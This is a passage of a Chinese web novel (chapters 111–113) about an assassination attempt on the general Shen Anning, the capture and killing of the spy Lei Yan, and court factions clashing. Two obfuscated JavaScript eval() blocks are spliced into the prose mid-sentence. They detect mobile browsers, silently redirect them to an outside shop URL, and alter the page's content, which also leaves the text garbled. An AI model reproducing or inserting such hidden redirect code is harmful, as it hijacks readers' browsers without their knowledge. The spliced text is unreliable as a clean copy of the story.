陶峰望着屋檐苦笑了一声,“那你心中又过得去吗?你明知是我下毒,却想带我离开洛京。” 陶峰回头看向齐茂成,“你心中又过得去这道坎吗?” 齐茂成垂眸道:“我只知道,师父当初要我们师兄妹三人相互扶持,我不能看着你死!” 江时鸣恍然大悟道:“所以你就带他离开,那你们藏在庙里有什么用啊?” 齐茂成抬头看向叶云舒,“你是师父在这世上唯一的血脉了!我不能让你去冒险!” 江时鸣道:“所以你想找机会带叶姑娘一起走?” 齐茂成看向叶云舒,见她正看着自己。 陶峰忽然道:“既然你们都已经知道了!想抓我便抓吧!” 沈安宁看了一眼叶云舒,这时站在门口的吕叔忽然道:“小姐!似乎是有人来了!我出去看看!” 沈安宁点了点头,吕叔便出去了,沈安宁朝陶峰道:“当年梁府一案,我会替她翻案,但你制造瘟病,害死了那么多无辜的百姓也需要为此赎罪!” 沈安宁又看向齐茂成,“我这里既不是县衙也不是大理寺,我也无权处置你们,但我会将你们交到大理寺,彻查一年前洛京城瘟病一事。” 齐茂成看了沈安宁一眼,随后垂眸点了点头。 这时吕叔进来道:“小姐!是世子和杜翰林!” 沈安宁闻言回头对上了方景淮目光,方景淮站了起来,“我陪你去看看!” 沈安宁点了点头,又朝一旁的张千示意了一下,见张千点了点头,沈安宁又要晴云拿了厚一点的外衫后和方景淮带着梁妈妈一道去了正厅。 等沈安宁走后,张千看着院子中的几人,随后朝齐茂成和和陶峰道:“两位!请吧!” 叶云舒闻言想要说话,却又不知该说什么,陶峰看了一眼叶云舒便转身离去,齐茂成也跟上。 江时鸣见院子只剩自己和陈子洵、叶云舒三人,便也跟上了张千。 陈子洵不知该怎么安慰她,只唤道:“叶姑娘!” 叶云舒回头看着陶峰和齐茂成离去。 111. 第一百一十一章 暗杀 沈安宁和方景淮一道来了正厅,见方书君和杜桢正站在厅中踱步,沈安宁朝晴云示意了一下,晴云便去给众人上茶,沈安宁和梁妈妈扶着方景淮和两人互相见过,又扶着方景淮坐在才回头看向方书君和杜桢。 方书君和杜桢两人见状,先是相互看了一眼,随后方书君说道:“我们先去了燕王府,听府上下人说起燕王在此,因此才来了沈府叨扰,望沈元帅莫怪!” 话音刚落,方景淮便接道:“昨日为沈元帅接风,谁知我这身子越来越不经用了,竟晕倒在沈府,才不得不借了沈元帅府中的厢房休息了一夜,让世子和杜翰林白白跑去了我府上!” 沈安宁闻言看了一眼方景淮,道:“世子和杜翰林是要找燕王相谈吗?那我先回避!” 方书君见沈安宁正要起身,急忙道:“沈元帅不用回避!” 杜桢接道:“想来燕王已将洛京之事都告知了元帅,既如此,元帅便也不用再回避!” 沈安宁和方景淮对视了一眼,又坐了回去,晴云上来给众人上了茶水,沈安宁见杜桢盯着那茶水,便道:“府中简陋,让世子和杜翰林见笑了!” “怎会?” 方书君和杜桢摇了摇头,两人端起了茶杯,喝茶时又四处打量了一眼,放下茶杯后,杜桢看了一眼沈安宁头上的白色发带,开口道:“沈元帅此番回京,可有想过如何为侯爷翻案?” 沈安宁抬头道:“杜翰林可有何想法?” 杜桢思量道:“收复赤州城,沈元帅有如此功绩,圣上却只是赏赐些身外之物,对沈元帅所提侯爷一事置之不理,想来是有别的考量。” 方书君看了一眼沈安宁,随后道:“我虽和侯爷只见过几面,但侯爷的为人我自小就父王说过,我自是相信侯爷,所以我们可以帮助沈元帅为侯爷翻案!” 沈安宁思忖了片刻,“好啊!那便劳烦世子和杜翰林了!” 方书君和杜桢应下,杜桢道:“只是此事还需从长计议!” 沈安宁点了点头,“邵陆两家在朝中的势力盘根错节,我明白杜翰林的意思,不会意气用事的!” “那便好!” 说着四人又聊了些京城中近日的事,不久,方书君和杜桢便起身离开了,沈安宁和被梁妈妈扶着的方景淮送了两人后往府中走。 沈安宁回头看了一眼方景淮,便上前扶住了方景淮,晴云和梁妈妈见状退到了两人身后跟着。 方景淮看着被沈安宁扶着的那只手,随后笑了笑,道:“你也在想这解药的事是吧?” 沈安宁点头,“我以前跟着军医学医时听他说过,一般这毒药所在之地都会有能解这毒的药,为何这解药会是只有杞国才有的草药?” 方景淮感受到了一旁沈安宁的目光,便也侧头去看沈安宁,两人相视了片刻,方景淮摇了摇头,道:“毒药可以由人带着走,凭这个就断定是杞国人也许太过武断。” 沈安宁回过头看向前方,方景淮道:“也许我们可以将这消息放出去,太后生性多疑,她定会去查!” 方景淮见沈安宁眉头微皱,笑道:“你不用担心我,消息传出去后,她应该先顾着查此事无暇顾及我的!” 沈安宁侧头道:“我们可以换种说法,只说我从杞国得来了一种毒药,这样一来可以避免太后找你,二来……方书君为何和我们合作,想必是有你身中剧毒这一点考量的。” 方景淮笑道:“那便按你说的去做!” 两人走到了沈府一处孤僻的院子,沈安宁回头看向院中,院中的张千见两人来了,上前正要说话,又见沈安宁扶着方景淮,便生挤到了两人中间,扶着方景淮道:“我来扶你!” 沈安宁无奈,方景淮只看了一眼沈安宁笑了笑,又朝张千道了声多谢。 张千这才问起:“阿宁,你让我将齐博士和陶峰带这来干嘛?” 沈安宁看向方景淮,答道:“关于方书君的身世,我还有些话想问问齐博士。” 说着沈安宁踏步进了院子,张千心中正疑惑,见一旁的方景淮已经不用自己扶进了院子,便也立即跟上。 此时的邵国公府,邵暮正坐在桌旁思虑着什么,眉头紧锁,一旁的山桃见她这样坐了许久了,于是上前问道:“小姐?” 邵暮回过神来,“少爷今日出府了吗?” 山桃想了想,“应该没有!” 邵暮起身往外走去,山桃急忙跟上,“小姐我们去哪?” 邵暮没有回答她,只往院子外走去,两人在花园中遇见了正朝这边走来的邵晨,邵晨一见邵暮便小跑了几步上前,“你听说了吗?沈安宁回京了!还真让她收复了赤州城回来了!” 邵暮抬头看着他,随后示意山桃和众人先下去,才说道:“现在只怕是她仍记恨我们害死了那个侍女!” 说着邵暮打量了一眼邵晨,又道:“说来都怪我!我不该拉你去替我出这口气的!” 邵晨看向邵暮道:“怎么能怪你?是那些身份低贱却还想着攀高枝的东西的错!” 邵暮闻言眼中一凛,所以柳玉在他眼中也是低贱之人,邵暮整理了思绪,道:“如今可怎么办?依沈安宁的性子,想来会来寻仇也不一定!” “来就来!我还怕他不成!”邵晨说完又想起了沈安宁中秋宫变之时的事迹,想了想,“阿暮,你说我们先下手怎么样?” 邵暮抬头看向他,“先下手?” 邵晨越想越得意,“对!就这样!你不用担心了!我这就去解决她!” 说着邵晨就转身出了花园,邵暮看着他离去后,立在原处等了许久,才带上了帏帽出了府。 白日里的长乐坊很是安静,邵暮在长乐坊对面酒楼的楼上,立在窗边看着对面的长乐坊。 忽然一人推开门进来,自顾自的走到了桌边坐下吃菜,又给自己满了一杯酒,这才瞟了一眼一旁放着的一套黑色衣物。 邵暮没有回头,只在帏帽下侧眼看了他一眼,便道:“今日邵晨要去杀沈安宁,你可以混在他的队伍中,趁机杀了沈安宁。” 雷炎又满上了一杯酒,“杀沈安宁?且不说她此刻是你们姜国的功臣,就是她对赤州军队的作用,你们如此光明正大的杀了她,就不怕你们那半死不活的皇帝发作?更何况以她和张千的武艺你们能杀她?” 邵暮这才回过头看向雷炎,“是他们,不是我们!” 邵暮坐到了雷炎对面,“我知道她武艺高强,可双拳难敌四手,你躲在一旁找个时机结果了她便是,再说,她对赤州军队有多重要?能比得上她对你杞国军队重要?你难道就不想杀她?” 雷炎放下了酒杯,邵暮便道:“我便祝你此去得偿所愿了!” 说着邵暮给自己满了一杯酒,雷炎沉默了片刻,最后起身拿走了那套黑衣。 过了许久,这间客房又来了一人,只是此人倒是先敲了敲门,待听见邵暮的声音后才推门进来。 全顺进门后见邵暮立在窗边,上前道:“小姐让我去通知魏王,我已经去将今夜之事告知他了!” 邵暮点了点头,转身离开了酒楼。 夜幕降临,沈安宁要将有些虚弱的方景淮送回厢房,张千偏要他来扶着方景淮,沈安宁也有着他去,江时鸣虽是不解,但也跟着张千一左一右扶着方景淮,让方景淮有些哭笑不得。 忽然沈安宁脚步一顿,方景淮正要回头问她,就见沈安宁和张千两人正侧头打量着那处黑夜中的墙。 方景淮已经有了多次的经验,也立即明白了过来,倒是一旁的江时鸣,疑惑道:“怎么了?怎么不走……” 话音还未落地,从那处隐蔽的墙上倏地跳下了十几个黑衣人,沈安宁迅速将方景淮和江时鸣护在身后,张千一见黑衣人便像是红了眼,立即就冲了上去,赤手空拳就将一人的头给扭断了,又夺了那人的长剑,将长剑当成了刀,对着其他黑衣人就是一顿砍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340463|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方景淮见状,从身上拿出了一把扇子递给了沈安宁,“给!” 沈安宁见到眼前的扇子,便拿了过来,不知动了哪里,寒光一闪,扇骨上冒出了利刃,沈安宁便一直在方景淮和江时鸣附近同那些上前来的黑衣人厮打。 黑衣人一下来了二三十个,时间一久,沈安宁和张千渐渐有些体力不支。 院中的打斗声引来了梁妈妈和晴云,两人正疑惑是何事这么吵时就见院中打成了一片,吓得差点坐到了地上,沈安宁和方景淮也发现了她们,沈安宁见有一黑衣人朝她们而去,便一脚将地上的一把长剑踢了过去,刺中了那黑衣人。 沈安宁迅速地一边打斗一边靠近两人,很快就到了两人所在,她一脚踢开了黑衣人便朝她们说道:“你们先走!” 梁妈妈看着对面的方景淮,见他和江时鸣正拿着不知哪里捡来的长剑挥舞着,沈安宁扇子一展,划过了眼前黑衣人的脖颈,还未等那人倒下,便回头朝梁妈妈道:“你放心!我会保护好他的!” 说着又朝晴云道:“你带着梁妈妈去找吕叔,告诉他务必保护好两人!” 晴云一边点头一边拉起梁妈妈,在沈安宁的掩护下,两人很快离开,沈安宁又朝方景淮处而去,忽然又有一黑衣人从墙上飞下,一脚踹开了江时鸣将长剑架在了方景淮脖颈处。 解决了最后一个黑衣人的张千正回头,就见沈安宁立在原地看着前方,他也朝沈安宁看的方向看去,见被黑衣人劫持的方景淮雪白的脖颈处已渗出了鲜血。 地上的江时鸣爬起,回头一看也呆了,双手拿着长剑不敢向前。 沈安宁缓步上前,越过了江时鸣,道:“你的雇主派你来应该不是来杀他的吧?我就在此处,你放了他!” 黑衣人道:“好!我可以放了他!那总得拿一命来换!” 沈安宁将手中的扇子合上,亮出了扇骨上的银剑,放到了自己脖子上,“我来换如何?” 张千和江时鸣急忙道:“阿宁!” 方景淮眉头紧皱,他瞥了一眼一旁的黑衣人,忽然发现那人拿剑的手,他看向沈安宁,沈安宁顺着他的示意看去,黑夜中看得不是很真切,却也不难看出,那是蓝色的指甲! 沈安宁一愣,难道阿月之前也见过他? 方景淮见沈安宁手中的银剑就要伤到她,想了想就要往黑衣人的长剑上撞去,黑衣人立即收了剑将方景淮的手反抓到背后,又将长剑架到了他的后脖处,冷笑一声道:“急什么?有你死的时候!” 说着又看向沈安宁,“怎么?还不动手?” 沈安宁看向方景淮,见方景淮眼中满是焦急,她别开眼,抬头看了一眼黑衣人,忽然在他身后看见了一处亮光,沈安宁思量了片刻,便道:“下辈子再见了!” 说着众人沈安宁正要动手,忽然从黑衣人身后飞来一柄长剑,黑衣人反应迅速,立即退了一步避开了,方景淮也趁机退向了另一边。 这时沈安宁却收了扇子冲上了前,黑衣人还要去抓方景淮,沈安宁已上前护在方景淮面前,黑衣人见状便转身要跑,谁知还未跑一步就见从黑暗中出来一人提着一柄地上随意捡得长剑,沈安宁和张千也迅速加入,三人很快就将黑衣人抓住。 一旁的江时鸣和方景淮这才上前,江时鸣笑道:“陈兄!多亏了你来得及时!” 陈子洵正和张千捆黑衣人,闻声抬头看了江时鸣一眼,又将目光移向了他身后。 沈安宁回头看向方景淮脖子处的伤,叶云舒忽然从一旁走近,“他的毒解了,这点伤口不会血流不止了!” 沈安宁这才放下了心,众人看向这黑衣人,方景淮上前走道黑衣人背后,看着他被捆起来的手,“叶姑娘!这是你的药粉吗?” 叶云舒上前看了看,疑惑地点了点头,“是我的药粉,怎么他会染上?” “让我来看看你到底是谁!”江时鸣上前将黑衣人的面纱拽下。 112. 第一百一十二章 雷炎 方时鸣说着就要上前去扯下黑衣人的面纱,忽然一阵急促的脚步声传来,众人朝声音来处看去,见方景泽带了二三十个府兵前来,沈安宁侧头同方景淮对视了一眼。 方景泽看着满地躺着的黑衣人,绕了尸体走向沈安宁道:“沈元帅没事吧?” 沈安宁扫了一眼方景泽身后,疏离地和众人朝方景泽行了一礼,“我沈府今夜可真是热闹,连魏王都惊动了!” 方景泽看了一眼一旁的方景淮,道:“本王正要回府,就听见有人前来求救,我还以为是沈元帅派去的人呢?” 方景淮笑了笑,“那三哥来的也太迟了吧!我差点被这人杀了!这知道的说三哥是来救我们的,这不知道的还以为三哥是等着来给我收尸的!” 方景泽瞥了一眼方景淮,“九弟为何在此?” 叶云舒上前道:“是因为我,我来替沈元帅检查战场上的伤口,燕王旧疾复发去医馆没找到我,才来了沈府!” “三哥何时这么关心我在哪了?倒是三哥,怎么不说一声就闯入沈家私宅?” 方景淮知道是因为沈家没有下人在,自然也就无人通报,方景泽只扫了叶云舒一眼,不再回答,转头朝沈安宁道:“既然人已经抓到了!那便由本王带回大狱审了!” 说着方景泽就抬手示意身后的人去抓黑衣人,沈安宁却跨了一步挡在那人面前,“此人既然是来杀我的,许是江湖恩怨,便不劳烦魏王了!” 方景泽道:“刺杀朝廷官员,此事可不是一句江湖恩怨可以了结的,本王既已替父皇管理朝政,凡事当亲历亲为,何来劳烦一说?” 说着方景泽示意身后的人去抓人,见沈安宁没有让开,方景泽又道:“难道沈元帅和这黑衣人有什么牵连不成?” 张千上前道:“阿宁!魏王既然要抓人前去审问,那便劳烦他了,不然明日我们还得跑一趟送这人前去!” 沈安宁看了一眼张千,知道他是在示意自己不要和方景泽硬来,于是侧身让开了,方景泽身后的府兵上前接走了黑衣人,方景泽也转身离去了。 江时鸣很是气愤,“我们辛辛苦苦抓了人,就被他劫去了!我都还没看清到底是谁呢!” 沈安宁回头和方景淮交换了目光。 叶云舒上前道:“魏王来得这么及时,难道是魏王的人?” 陈子洵思量道:“今夜的黑衣人一看就是冲着阿宁来的,可魏王为何要杀阿宁?” 方景淮道:“我倒觉得不是他的人。” 江时鸣看了一眼地上的黑衣人,“那会是谁的人?” 方景淮看向沈安宁,思忖了片刻,“会不会是陆家的人?陆元黄被处死一事,陆家一直耿耿于怀。” 张千想起了沈海被杀的那些黑衣人,气道:“一定是!” 沈安宁却扫了一眼地上的黑衣人,道:“或许还有一人想杀我。” 众人疑惑道:“谁?” 沈安宁回头,对上了方景淮的目光,方景淮一怔,思量道:“邵暮?” 众人不解,沈安宁的目光逐渐清晰。 沈府外,一人躲在远处看着方景泽押着一个黑衣人离开,又见前方一个衣着华贵的公子带着几个黑衣人步履匆匆的离开,他也迅速转身离开,一路到了一处酒楼,直径上了二楼,停在一处房门前敲了敲门,听见房内传来一个女子的声音,他才推门进去。 邵暮立在窗边没有回头,全顺进了房间后急忙道:“小姐,那人好像被魏王抓了!” 邵暮这才回过头,掀开了帏帽惊道:“什么?” 听见全顺又一次说完后,邵暮楞了楞,“真是高看他了!沈安宁可怎么样了?” 全顺想了想,“府中并无异样,应当是没死。” 邵暮让自己冷静下来,她放下了帏帽想了想,最后沉默着转身离开了酒楼,一路回到了邵国公府,还未到正厅就见下人们都退了出来,于是她停顿了片刻才走了进去。 进了厅中才见邵晨跪在厅中,王明珠站在一旁心疼地看着,邵盛背对着她们,王明珠一见邵暮进来,便擦了泪水指着她道:“是不是你!是不是你撺掇我的大郎去杀沈安宁?” 邵暮这回并未像往常一般唯唯诺诺,而是嘲讽地看了一眼王明珠便朝邵盛走去,王明珠见她这般,更是气得手抖,她上前拉住邵暮抬手就要朝她脸上打去,邵暮这回却是一把抓住了王明珠的手甩了出去。 王明珠双目睁圆,正要再抬手,就听邵暮朝邵盛说道:“这次方景泽抓到了一个人!” 邵盛回过身来,“叫人去处理了就行!” 邵暮却盯着他,“怕是这次很难处理掉!” 邵盛闻言看向邵暮,心中思量了片刻。邵晨正跪着地上,听见这话无所谓道:“是不是派去杀沈安宁的?那你们放心吧!他们就是死也不会供出我的!” 邵盛怒道:“闭嘴!” 王明珠一见邵盛如此对邵晨,便气道:“什么大不了的人,杀了就好了!” 邵盛转头看向邵暮,想了想,一边朝外走去一边朝邵暮道:“你跟我来!” 邵暮点了点头,跟着邵盛离开了此处,王明珠见状更是气不打一处来,可见邵盛离开了,还是先赶紧扶起了邵晨,邵晨跪了不久,却依然觉得膝盖疼得厉害,他看向邵暮的背影问道:“何时妹妹和阿爹有了秘密?” 王明珠盯着邵暮的背影,目露凶光道:“和她那个娘一样,都是个祸害!” 邵晨揉了揉膝盖道:“妹妹是我们邵家人,怎么会和那个贱人一样?” 王明珠盯着邵暮已经看不见的背影,没有回应。 邵暮跟着邵盛到了书房,邵盛才问道:“抓得是谁?” 邵暮侧眼打量了一眼身后,见没有人,才道:“是雷炎!” 邵盛闻言一怔,随后反应过来,带着狠厉地目光看向邵暮,“你怎么会知道雷炎?” 邵暮竟丝毫不怵,只道:“不是阿爹让我去接近魏王吗?若是连他抓的是谁都打听不清楚,那阿爹要去又有何用?” 邵盛狐疑地盯着邵暮看了看,似乎接受了这个说法。 邵暮思量了片刻,又接道:“阿爹,这也许对我们是件好事,想必雷炎是想混在大郎派去刺杀沈安宁的人中杀掉沈安宁,我们何不将整件事都推给他?” 邵盛心中自然明白,只是他担心地是另一件事,他和雷炎虽未能合作,但雷炎若真要攀扯,邵盛确实也难以脱身。 邵暮见邵盛沉默许久,她自然是知道邵盛在想什么的,之前雷炎在府中找他,他怕雷炎会供出自己,至少这一点,邵暮和邵盛是一致的,因此一定要除掉雷炎。 邵暮道:“阿爹,雷炎被抓,魏王一定会亲自去审,到时候会不会问出点什么对我们不利的?” 邵盛目光阴冷,“那就让他开不了口!” 邵暮心中思量了许久,并未再言语。 月光下,方景泽从沈府带走了黑衣人后就命人送去了大狱,自己则回了王府,到了王府门口时,方景泽想来想去还是要去找邵暮一趟,一名侍卫急忙跑来,方景泽皱眉看了一眼那侍卫,侍卫急忙回道:“殿下!我们摘了那黑衣人的面纱,见那黑衣人十分像朝廷一直在找的杞国奸细雷炎!” 方景泽一怔,忙翻身上马要前去大狱,忽然前方邵暮带着一人走来,方景泽皱了皱眉,让侍卫先去大狱看住雷炎,自己则停在原地等着邵暮前来。 邵暮见他没有下马,想来是猜到了雷炎的身份,急着去大狱,邵暮侧头示意全顺等在原地,自己则上前,走到了方景泽的马前。 方景泽居高临下道:“邵小姐今夜到访,可是为了沈家遇刺一事?” 邵暮思量道:“是啊!魏王今夜还得多谢我为你报信,这事要是抓住了邵晨的把柄,也就抓住了赵王的把柄!” 方景泽嘲弄道:“你今夜来就是为了来讨谢?” 邵暮抬头看向方景泽,“今夜之事只是我想告诉你,我可以帮到你!” 方景泽低头看向邵暮,“是吗?邵盛可是你父亲!” 邵暮冷哼一声,“那周王不也是殿下的手足吗?” 方景泽闻言一愣,低身掐住了邵暮的脖子,远处的全顺见状正要上前,邵暮抬手制止他,随后又朝方景泽笑道:“殿下下手……可不比我……心软,想来……鲁王……也是如此……如此走的!权力面前……父女……手足……都算得了什么?” 方景泽盯着面前面色涨红的邵暮许久,直到邵暮似乎真的呼吸不了了,方景泽才一把放开了自己的手,“既然你想要,那我便成全你!” 邵暮揉了揉脖子,“我定不会让殿下失望的!” 方景泽侧头看了一眼邵暮,随后就驾马离开了,全顺见方景泽离开后,才立即跑了过来,“小姐,你没事吧?” 邵暮摇了摇头,全顺看向方景泽离开的方向,问道:“不知大狱那边怎么样了?” 邵暮冷笑了一声,便转身离开了,全顺立即跟上。 夜阑人静,大理寺卿带着几人步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387843|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伐匆忙地走向大狱,大狱内的狱卒一见大理寺卿来了急忙收起了瞌睡,一人上前道:“大人怎么来了?” 大理寺卿干咳了两声,“昨日城北那起失窃案还未破,本官前来看看!” 诸位狱卒心中疑惑,却不敢多言,只得让他进去,一个狱卒引着大理寺卿朝那失窃案抓来的嫌疑人处去,路过了一个黑衣人所在的牢房,大理寺卿一见那黑衣人便朝身后两侍从使了个眼色,那两人忽然开口道:“大人!这人有三急,小的想先去方便一下!” 大理寺卿面露厉色,“一做事就墨迹!还不快去!” 那两人闻言立即转身离去,大理寺卿这才回头看向引路的狱卒,见他正看着离去那两个侍从,于是呵斥道:“还不快带路!” 狱卒急忙道:“小的知错!小的这就给大人带路!” 说着就引着大理寺卿朝里走去,雷炎正看着牢门外,十分平静,忽然两个侍从打扮的人走了过来,雷炎只打量了一眼,“是她让你们来救我的?” 那两人中有一人身形和雷炎差不多,他脱了外衫后,里面穿着正是雷炎今夜穿的黑衣,黑衣人正忙着开锁,另一人则将黑衣人的衣物丢了进去,答道:“时间不多,你赶紧换上他的衣服,待会跟着我出去!” 雷炎盯着地上的衣物看了看,这时牢门已被那黑衣人打开,另外一人急道:“你还愣着干嘛?赶紧换衣服啊!我们时间不多!” 雷炎这才穿上了那人的外衫,跟着牢门外的那人离开,留下的黑衣人面朝里面的墙坐下了。 雷炎低着头跟着那人,只见他在一处停下,随后示意雷炎停下,自己则走了进去,朝里面一人道:“大人!小的们回来了!” 大理寺卿瞟了一眼外面站着那人,问道:“都回来了吗?” 侍从道:“都回来了!” 大理寺卿点了点头,随后随意翻了一下了卷宗,便道:“本官有些发现,你们这就跟本官前去疑犯家中!” 侍从道:“是!” 说着大理寺卿便往外走去,侍从赶紧跟上,又示意雷炎,让他跟在大理寺卿身后,狱卒虽不解,但毕竟对方是大理寺卿,也不敢多言,只得又引着他出去,只是路过雷炎时顿了顿,侍从察觉了狱卒的异样,便上前拉了一把雷炎,“让你平时机灵点!没看到挡住大人的路了吗?” 雷炎头更低了,道:“小的知错了!” 狱卒这才没再去看雷炎,而是走到了前头引路,一行人又一次路过了黑衣人的牢房,一路往大狱外走。 一行人出了大狱后,狱卒松了口气,正要回去就见另一边来了人,狱卒仔细一看,来人正是骑着马的方景泽带着一名侍卫,狱卒急忙迎了上去,方景泽一跃下了马,问道:“今晚抓得黑衣人呢?” 狱卒忙道:“关在牢房中!小的这就带殿下前去!” 方景泽跟着狱卒一路朝黑衣人牢房而去,到了牢房前,众人都楞了,狱卒看着被撬开的门锁和空无一人的牢房,急忙跪下道:“不可能啊!刚刚出去时还看见在这的!殿下恕罪!殿下恕罪!殿下恕罪!” 方景泽盯着空空的牢房,问道:“刚出去的是谁?” 狱卒抬起头道:“是大理寺卿!” 方景泽紧握成拳,随后吩咐道:“封锁大狱,你们在大狱中找!” 说着方景泽便朝外走去,指着一旁一队狱卒道:“你们跟我来!” 方景泽出了大狱后上了马,一路朝大理寺卿离去的方向追去,一路追到了城外乱葬岗,方景泽看着前方的马车,随后下了马,警惕着朝那马车靠近,等他掀开了车帘后,里面正是雷炎的尸体,方景泽急忙探了探雷炎颈侧,身后的狱卒跟了上来,方景泽气道:“留两个人把尸体拖回去!其余的人跟我来!” “是!” 狱卒应下后,方景泽又上了马,朝城内跑去,等狱卒将雷炎的尸体拖走,全顺才从远处的黑暗中走了出来,看向了暗处的城墙上的一个身影。 城楼上的邵暮瞟了一眼被拖走的雷炎,便转身离开了。 方景泽正要去大理寺卿府上,经过城北时忽然看见前方一辆马车同刚才有着雷炎尸体的马车一模一样,方景泽下了马,正要上前时,就见一个黑影朝自己跑来。 方景泽迅速反应过来,两三招就将人制服,这时大理寺卿和几个侍从从一旁檐廊下走了出来,一见方景泽便道:“殿下?你怎么在这?” 方景泽道:“这话应该我问你吧!大理寺卿半夜不在府中,在这做什么?” 113. 第一百一十三章 朝会 高进抬手示意,立即从一旁黑暗中出来了一队侍卫,高进指了指方景泽手中的黑衣人道:“本官再此抓犯人啊!” 方景泽嘲讽道:“大半夜的,大理寺卿亲自来抓犯人?” 高进道:“食人俸禄,替人办事,自当尽心尽力!” 方景泽身后的侍卫和狱卒终于是赶了上来,一见方景泽手中还抓着人,正要上前询问时,方景泽将手中黑衣人丢出,“我倒不知大理寺卿是食何人俸禄?替何人办事?” 高进身后的侍卫急忙上前抓住了想要跑的盗贼,高进这才道:“自然是食圣上俸禄,替圣上办事!” 方景泽冷哼一声,“今夜大狱丢了重要犯人,听闻大理寺卿刚从大狱中出来,可有曾见到那个犯人?” 高进问道:“是何长相?说来看看,兴许见过?不过我今夜一直都在设法抓这窃贼,想必是对殿下帮助不大了!” 方景泽打量了高进许久,毕竟眼前这人是大理寺卿,自己没有证据也不能将他如何,现在只能先回大狱看看,想到这,方景泽转身离开了。 高进在他身后道:“恭送殿下!” 等方景泽带着侍卫、狱卒等人已经看不见身影后,高进身后的随从上前道:“大人!” 高进目光逐渐冰冷,“那人如何了?” 随从低声道:“交给邵府的人了!说来这邵府小姐还真有几分聪慧,既能猜到魏王会追上来,还替我们找了份差交。” 高进点了点头,随从将心中的不解问道:“大人,我们为何要附庸邵家?” 高进回头看了他一眼,“这洛京两分天下,总要选一方,否则便会是两方的弃子!” 随从更是不解了,压低了声音凑近道:“可魏王已是尚书令,圣上虽未立太子,可人人都能看出这个位置是何用意,大人为何……” 高进回过头看向方景泽离去的方向,“魏王这些年做的事有目共睹,圣上虽给了他尚书令一职,却又让赵王和他一同代管政事,想来圣上心中也没定下人选,更何况……即使成了太子又怎么样,只要没到……” 随从急忙打断道:“大人!” 高进收回了目光,“人带回大狱,连夜提审!也算是为民除害了!” 说完便头也没回地朝自家府上而去,随从回头吩咐了以后立即跟了上去。 方景泽回了大狱,将大狱翻了个遍都没找出一丝线索,心中十分气愤,忽然他想起邵暮之前来找自己,难道她是有意前来拖延时间? 方景泽命人将雷炎的尸体查验了一番,也依然无所获,他忙活了一夜,最后回了府。 第二日,沈安宁正要和张千、陈子洵等进宫上朝,穿戴衣物时,忽然看见放在桌上的青铜扇,她上前拿起了扇子,抚摸了扇骨,随后将扇子一展,原本空白的扇面被画上了一幅画,画中少女骑着马提着红缨枪,夕阳立在一望无际的草原上,沈安宁又抬手抚摸上一旁的题字:良马既闲,丽服有晖。左揽繁弱,右接忘归。风驰电逝,蹑景追飞。凌厉中原,顾盼生姿。 沈安宁忽然想起,赵巳曾说过若是有人能在这空白的扇面上绘上一幅画或是写上一篇文章,那必然是好看的,看来他果然说得很对,想到这,沈安宁将扇子收起,叫来了晴云,让她等方景淮醒了将扇子送过去,随后便和张千、陈子洵等进宫上朝。 第一次朝会有女子参加,诸位大臣虽有些不习惯,但毕竟沈安宁刚收复了赤州城,又是圣上钦定的元帅,众人也就不敢再多言。 大殿上除了商讨一些朝中事务,还讨论了边境安防等要事,等诸事都探讨的差不多了,邵盛朝一旁的高进使了个眼色,高进提起了昨夜沈府遇见刺客一事,“昨夜我处理城北失窃案时,在大狱听闻昨日沈元帅府上遇见了刺客?” 龙椅一旁的方景泽闻言目光紧盯着邵盛。 邵盛却不慌,昨夜邵晨派去的人都死了,死无对证,雷炎也被处理掉了,他还有什么可慌的。 朝中大臣听闻此事都纷纷议论起来,龙椅另一旁的方景澄看向邵盛,似乎在向邵盛确认此事是否和自己相关,见邵盛示意自己无事,才放下了心,看着大殿众人讨论。 一位大臣朝沈安宁问道:“可有抓到疑犯?” 沈安宁看向方景泽,为何是大理寺卿提起此事?沈安宁想起了阿月死时也是大理寺卿,看来这个大理寺卿是邵府的人,这时提起昨夜的刺客,难道是被方景泽提走的刺客出了什么事? 这不就是被人当枪使吗?沈安宁心中明了,思量了片刻还是顺着那人的话道:“抓到了!只是不知魏王审的如何了?” 众人闻言都看向方景泽,方景泽道:“昨夜抓到的那刺客已经遇害……” 方景泽话还未完,邵盛便准备出声打断,谁知他还未出声,就听见上方传来方景澄的声音。 “抓到大狱了还能遇害?看来魏王并未将沈元帅的安危放在心上,虽说你以前带人抓过沈元帅,可再怎么说如今的沈元帅也是为我姜国收复了赤州城啊!你怎能如此掉以轻心?” 此话一出,低下众人又开始议论纷纷,方书君和杜桢对视一眼后看向了方景泽。 方景澄又朝沈安宁道:“不过说起来也不能怪魏王,昨夜沈元帅府上出现刺客,魏王还能及时出现,想来也并不是全然不放在心上!” 方景泽道:“赵王这字字句句都像是意有所指啊?我虽抓过沈元帅那也是秉公办事,这次自然也是!至于人为何会进了大狱还遇害,我定会查清楚给沈元帅一个交代的!” 说着方景泽回头看向低下众人,“沈元帅刚回洛京就发生这样的事,只怕是有心之人故意为之,其用意也许不在沈元帅身上!” 说完方景泽转头看向对面的方景澄,方景澄迎上他的目光,笑了笑,“那魏王可要尽快啊!沈元帅是我们姜国的功臣!可莫要让她再遇刺了!” 沈安宁看着上方两人一来一回,并未言语。 